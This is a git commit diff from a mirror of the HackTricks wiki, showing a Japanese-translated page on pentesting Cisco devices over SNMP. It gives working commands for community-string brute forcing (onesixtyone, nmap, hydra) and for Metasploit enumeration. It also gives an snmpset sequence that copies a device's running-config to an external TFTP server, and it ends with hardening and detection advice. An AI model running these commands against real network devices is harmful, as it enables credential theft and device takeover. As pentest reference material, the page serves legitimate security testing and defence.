mirror of
				https://github.com/HackTricks-wiki/hacktricks.git
				synced 2025-10-10 18:36:50 +00:00 
			
		
		
		
	Translated ['src/network-services-pentesting/pentesting-snmp/cisco-snmp.
This commit is contained in:
		
							parent
							
								
									09db65a9ef
								
							
						
					
					
						commit
						69b6bc5827
					
				@ -4,34 +4,92 @@
 | 
			
		||||
 | 
			
		||||
## Ciscoネットワークのペンテスト
 | 
			
		||||
 | 
			
		||||
**SNMP**は、一般的なメッセージ用に161/UDPポート、トラップメッセージ用に162/UDPポートでUDP上で機能します。このプロトコルは、SNMPエージェントとサーバー間の通信を可能にするパスワードとして機能するコミュニティ文字列に依存しています。これらの文字列は、特に**読み取り専用(RO)または読み書き(RW)権限**を決定するため、重要です。ペンテスターにとっての注目すべき攻撃ベクトルは、ネットワークデバイスに侵入することを目的とした**コミュニティ文字列のブルートフォース攻撃**です。
 | 
			
		||||
**SNMP**は、一般的なメッセージ用に**161/UDP**ポート、トラップメッセージ用に**162/UDP**ポートでUDP上で機能します。このプロトコルは*コミュニティストリング*に依存しており、SNMPエージェントとマネージャー間の通信を可能にするプレーンテキストの「パスワード」として機能します。これらのストリングは、特に**読み取り専用(RO)または読み書き(RW)権限**のアクセスレベルを決定します。
 | 
			
		||||
 | 
			
		||||
そのようなブルートフォース攻撃を実行するための実用的なツールは[**onesixtyone**](https://github.com/trailofbits/onesixtyone)であり、潜在的なコミュニティ文字列のリストとターゲットのIPアドレスが必要です。
 | 
			
		||||
古典的でありながら依然として非常に効果的な攻撃ベクターは、**コミュニティストリングのブルートフォース**を行い、認証されていないユーザーからデバイス管理者(RWコミュニティ)に昇格することです。このタスクに便利なツールは[**onesixtyone**](https://github.com/trailofbits/onesixtyone):
 | 
			
		||||
```bash
 | 
			
		||||
onesixtyone -c communitystrings -i targets
 | 
			
		||||
onesixtyone -c community_strings.txt -i targets.txt
 | 
			
		||||
```
 | 
			
		||||
#### `cisco_config_tftp`
 | 
			
		||||
 | 
			
		||||
Metasploitフレームワークには、デバイスの設定を抽出するための`cisco_config_tftp`モジュールがあり、RWコミュニティ文字列を取得することが条件です。この操作に必要な重要なパラメータは次のとおりです:
 | 
			
		||||
 | 
			
		||||
- RWコミュニティ文字列 (**COMMUNITY**)
 | 
			
		||||
- 攻撃者のIP (**LHOST**)
 | 
			
		||||
- ターゲットデバイスのIP (**RHOSTS**)
 | 
			
		||||
- 設定ファイルの保存先パス (**OUTPUTDIR**)
 | 
			
		||||
 | 
			
		||||
設定が完了すると、このモジュールはデバイスの設定を指定されたフォルダーに直接ダウンロードすることを可能にします。
 | 
			
		||||
 | 
			
		||||
#### `snmp_enum`
 | 
			
		||||
 | 
			
		||||
別のMetasploitモジュールである**`snmp_enum`**は、詳細なハードウェア情報を収集することに特化しています。これは、いずれかのタイプのコミュニティ文字列で動作し、成功裏に実行するためにはターゲットのIPアドレスが必要です:
 | 
			
		||||
他の迅速なオプションは、Nmap NSEスクリプト`snmp-brute`またはHydraのSNMPモジュールです:
 | 
			
		||||
```bash
 | 
			
		||||
msf6 auxiliary(scanner/snmp/snmp_enum) > set COMMUNITY public
 | 
			
		||||
msf6 auxiliary(scanner/snmp/snmp_enum) > set RHOSTS 10.10.100.10
 | 
			
		||||
msf6 auxiliary(scanner/snmp/snmp_enum) > exploit
 | 
			
		||||
nmap -sU -p161 --script snmp-brute --script-args brute.community=wordlist 10.0.0.0/24
 | 
			
		||||
hydra -P wordlist.txt -s 161 10.10.10.1 snmp
 | 
			
		||||
```
 | 
			
		||||
---
 | 
			
		||||
 | 
			
		||||
### SNMPを通じた設定のダンプ (CISCO-CONFIG-COPY-MIB)
 | 
			
		||||
**RWコミュニティ**を取得すると、CISCO-CONFIG-COPY-MIB (`1.3.6.1.4.1.9.9.96`) を悪用して、*CLIアクセスなし*でrunning-config/startup-configをTFTP/FTPサーバーにコピーできます。一般的なアプローチは次の2つです:
 | 
			
		||||
 | 
			
		||||
1. **Nmap NSE – `snmp-ios-config`**
 | 
			
		||||
```bash
 | 
			
		||||
nmap -sU -p161 --script snmp-ios-config \
 | 
			
		||||
--script-args creds.snmp=private 192.168.66.1
 | 
			
		||||
```
 | 
			
		||||
スクリプトは自動的にコピー操作を調整し、設定をstdoutに出力します。
 | 
			
		||||
 | 
			
		||||
2. **手動 `snmpset` シーケンス**
 | 
			
		||||
```bash
 | 
			
		||||
# Copy running-config (4) to a TFTP server (1) – random row id 1234
 | 
			
		||||
snmpset -v2c -c private 192.168.66.1 \
 | 
			
		||||
1.3.6.1.4.1.9.9.96.1.1.1.1.2.1234 i 1 \    # protocol = tftp
 | 
			
		||||
1.3.6.1.4.1.9.9.96.1.1.1.1.3.1234 i 4 \    # sourceFileType = runningConfig
 | 
			
		||||
1.3.6.1.4.1.9.9.96.1.1.1.1.4.1234 i 1 \    # destFileType   = networkFile
 | 
			
		||||
1.3.6.1.4.1.9.9.96.1.1.1.1.5.1234 a 10.10.14.8 \ # TFTP server IP
 | 
			
		||||
1.3.6.1.4.1.9.9.96.1.1.1.1.6.1234 s \"backup.cfg\" \\
 | 
			
		||||
1.3.6.1.4.1.9.9.96.1.1.1.1.14.1234 i 4       # rowStatus = createAndGo
 | 
			
		||||
```
 | 
			
		||||
行識別子は*一度限り*であり、5分以内の再利用は`inconsistentValue`エラーを引き起こします。
 | 
			
		||||
 | 
			
		||||
ファイルがTFTPサーバーにあると、資格情報(`enable secret`、`username <user> secret`など)を確認したり、修正した設定をデバイスにプッシュしたりできます。
 | 
			
		||||
 | 
			
		||||
---
 | 
			
		||||
 | 
			
		||||
### Metasploitの便利な機能
 | 
			
		||||
 | 
			
		||||
* **`cisco_config_tftp`** – 同じMIBを悪用した後、TFTP経由でrunning-config/startup-configをダウンロードします。
 | 
			
		||||
* **`snmp_enum`** – デバイスのインベントリ情報、VLAN、インターフェースの説明、ARPテーブルなどを収集します。
 | 
			
		||||
```bash
 | 
			
		||||
use auxiliary/scanner/snmp/snmp_enum
 | 
			
		||||
set RHOSTS 10.10.100.10
 | 
			
		||||
set COMMUNITY public
 | 
			
		||||
run
 | 
			
		||||
```
 | 
			
		||||
---
 | 
			
		||||
 | 
			
		||||
## 最近のCisco SNMP脆弱性 (2023 – 2025)
 | 
			
		||||
ベンダーのアドバイザリーを追跡することは、エンゲージメント内での*ゼロデイからnデイ*の機会を特定するのに役立ちます:
 | 
			
		||||
 | 
			
		||||
| 年 | CVE | 影響を受ける機能 | 影響 |
 | 
			
		||||
|------|-----|-----------------|--------|
 | 
			
		||||
| 2025 | CVE-2025-20174 | SNMPサブシステム | 作成されたパケットがIOS/IOS-XE (v1/v2c/v3)で認証された*DoS* (リロード)を引き起こします。   |
 | 
			
		||||
| 2024 | CVE-2024-20373 | IPv4 ACL処理 | 誤って設定された**拡張**ACLが静かに*失敗*し、正しいコミュニティ/ユーザーが知られている場合に認証されていないSNMPポーリングを許可します。   |
 | 
			
		||||
| 2025 | (まだCVEなし) | SNMPv3設定制限のバイパス | 有効なv3ユーザーが拒否されるべきアドレスからポーリングできます。   |
 | 
			
		||||
 | 
			
		||||
悪用可能性は、コミュニティ文字列またはv3資格情報を持っていることに依存することが多く、これがブルートフォース攻撃が依然として関連性を持つ理由の一つです。
 | 
			
		||||
 | 
			
		||||
---
 | 
			
		||||
 | 
			
		||||
## ハードニングと検出のヒント
 | 
			
		||||
 | 
			
		||||
* 修正されたIOS/IOS-XEバージョンにアップグレードします(上記のCVEについてはCiscoのアドバイザリーを参照)。
 | 
			
		||||
* v1/v2cよりも`authPriv` (SHA-256/AES-256)を使用した**SNMPv3**を優先します。
 | 
			
		||||
```
 | 
			
		||||
snmp-server group SECURE v3 priv
 | 
			
		||||
snmp-server user monitor SECURE v3 auth sha <authpass> priv aes 256 <privpass>
 | 
			
		||||
```
 | 
			
		||||
* SNMPを管理VRFにバインドし、**標準の番号付きIPv4 ACLで制限します**(拡張名付きACLはリスクがあります – CVE-2024-20373)。
 | 
			
		||||
* **RWコミュニティ**を無効にします;運用上必要な場合は、ACLとビューで制限します:
 | 
			
		||||
`snmp-server community <string> RW 99  view SysView`
 | 
			
		||||
* 監視する項目:
 | 
			
		||||
- UDP/161のスパイクや予期しないソース(SIEMルール)。
 | 
			
		||||
- `CISCO-CONFIG-MAN-MIB::ccmHistoryEventConfigSource`イベントは、アウトオブバンドの設定変更を示します。
 | 
			
		||||
* **SNMPv3ロギング**を有効にし、特定のDoSベクターを減らすために`snmp-server packetsize 1500`を設定します。
 | 
			
		||||
 | 
			
		||||
---
 | 
			
		||||
 | 
			
		||||
## 参考文献
 | 
			
		||||
 | 
			
		||||
- [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
 | 
			
		||||
 | 
			
		||||
- Cisco: *SNMPを使用してCiscoデバイスに設定をコピーする方法*
 | 
			
		||||
- Ciscoセキュリティアドバイザリー *cisco-sa-snmp-uwBXfqww* (CVE-2024-20373)
 | 
			
		||||
 | 
			
		||||
{{#include ../../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
		Loading…
	
	
			
			x
			
			
		
	
		Reference in New Issue
	
	Block a user